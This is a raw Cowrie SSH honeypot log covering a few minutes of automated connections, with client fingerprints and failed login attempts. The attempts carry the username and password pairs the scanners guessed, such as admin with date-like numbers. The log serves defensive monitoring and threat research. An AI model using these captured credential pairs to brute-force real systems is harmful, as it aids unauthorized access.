{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:01.672503Z","src_ip":"210.79.190.22","session":"0fb500d45b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fox","password":"fox123!","message":"login attempt [fox/fox123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:02.673979Z","src_ip":"210.79.190.22","session":"0fb500d45b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:02.729779Z","src_ip":"142.93.139.168","session":"1d3557847713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:03.918898Z","src_ip":"210.79.190.22","session":"0fb500d45b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.23.150","src_port":38087,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3f970d32ac0","protocol":"ssh","message":"New connection: 185.158.23.150:38087 (159.203.135.109:22) [session: a3f970d32ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:23.154924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:23.159100Z","src_ip":"185.158.23.150","session":"a3f970d32ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:23.319260Z","src_ip":"185.158.23.150","session":"a3f970d32ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mostafa","password":"12345","message":"login attempt [mostafa/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:23.992361Z","src_ip":"185.158.23.150","session":"a3f970d32ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:25.154707Z","src_ip":"185.158.23.150","session":"a3f970d32ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":57664,"dst_ip":"10.17.0.5","dst_port":22,"session":"a362173512ab","protocol":"ssh","message":"New connection: 2.57.121.112:57664 (10.17.0.5:22) [session: a362173512ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:28.044105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:28.048803Z","src_ip":"2.57.121.112","session":"a362173512ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:28.147971Z","src_ip":"2.57.121.112","session":"a362173512ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291086","message":"login attempt [admin/291086] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:28.619159Z","src_ip":"2.57.121.112","session":"a362173512ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29101975","message":"login attempt [admin/29101975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:29.721015Z","src_ip":"2.57.121.112","session":"a362173512ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2909","message":"login attempt [admin/2909] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:30.822912Z","src_ip":"2.57.121.112","session":"a362173512ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29081975","message":"login attempt [admin/29081975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:31.925495Z","src_ip":"2.57.121.112","session":"a362173512ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290775","message":"login attempt [admin/290775] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:33.029186Z","src_ip":"2.57.121.112","session":"a362173512ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:46:34.131071Z","src_ip":"2.57.121.112","session":"a362173512ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":49468,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9cc1080481c","protocol":"ssh","message":"New connection: 159.223.94.92:49468 (159.203.135.109:22) [session: c9cc1080481c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:22.695844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:22.700129Z","src_ip":"159.223.94.92","session":"c9cc1080481c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:22.945467Z","src_ip":"159.223.94.92","session":"c9cc1080481c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"Kipt123!","message":"login attempt [kipt/Kipt123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:23.967630Z","src_ip":"159.223.94.92","session":"c9cc1080481c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:25.215810Z","src_ip":"159.223.94.92","session":"c9cc1080481c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":39404,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea4034201433","protocol":"ssh","message":"New connection: 40.81.244.142:39404 (159.203.135.109:22) [session: ea4034201433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:34.442126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:34.446156Z","src_ip":"40.81.244.142","session":"ea4034201433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:34.664618Z","src_ip":"40.81.244.142","session":"ea4034201433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kocom","password":"kocom123","message":"login attempt [kocom/kocom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:35.569619Z","src_ip":"40.81.244.142","session":"ea4034201433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:36.790135Z","src_ip":"40.81.244.142","session":"ea4034201433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":6022,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2f5d54259c4","protocol":"ssh","message":"New connection: 2.57.121.112:6022 (159.203.135.109:22) [session: c2f5d54259c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:42.574080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:42.578460Z","src_ip":"2.57.121.112","session":"c2f5d54259c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:42.677421Z","src_ip":"2.57.121.112","session":"c2f5d54259c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291086","message":"login attempt [admin/291086] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:43.150177Z","src_ip":"2.57.121.112","session":"c2f5d54259c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29101975","message":"login attempt [admin/29101975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:44.251104Z","src_ip":"2.57.121.112","session":"c2f5d54259c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":58364,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8d57b1ceed5","protocol":"ssh","message":"New connection: 131.161.249.165:58364 (159.203.135.109:22) [session: b8d57b1ceed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:44.661149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:44.664329Z","src_ip":"131.161.249.165","session":"b8d57b1ceed5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:44.787884Z","src_ip":"131.161.249.165","session":"b8d57b1ceed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"Frank123","message":"login attempt [frank/Frank123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:45.314043Z","src_ip":"131.161.249.165","session":"b8d57b1ceed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2909","message":"login attempt [admin/2909] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:45.352566Z","src_ip":"2.57.121.112","session":"c2f5d54259c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:46.440026Z","src_ip":"131.161.249.165","session":"b8d57b1ceed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29081975","message":"login attempt [admin/29081975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:46.453614Z","src_ip":"2.57.121.112","session":"c2f5d54259c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290775","message":"login attempt [admin/290775] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:47.556063Z","src_ip":"2.57.121.112","session":"c2f5d54259c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37482,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c629d0da518","protocol":"ssh","message":"New connection: 2.57.122.238:37482 (159.203.135.109:22) [session: 8c629d0da518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:48.292774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:48.297418Z","src_ip":"2.57.122.238","session":"8c629d0da518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:48.401247Z","src_ip":"2.57.122.238","session":"8c629d0da518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:48.658706Z","src_ip":"2.57.121.112","session":"c2f5d54259c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:48.711949Z","src_ip":"2.57.122.238","session":"8c629d0da518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:47:49.817320Z","src_ip":"2.57.122.238","session":"8c629d0da518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":35411,"dst_ip":"10.17.0.5","dst_port":22,"session":"9301244d0570","protocol":"ssh","message":"New connection: 2.57.121.25:35411 (10.17.0.5:22) [session: 9301244d0570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:08.510740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:08.514568Z","src_ip":"2.57.121.25","session":"9301244d0570","protocol":"ssh"}
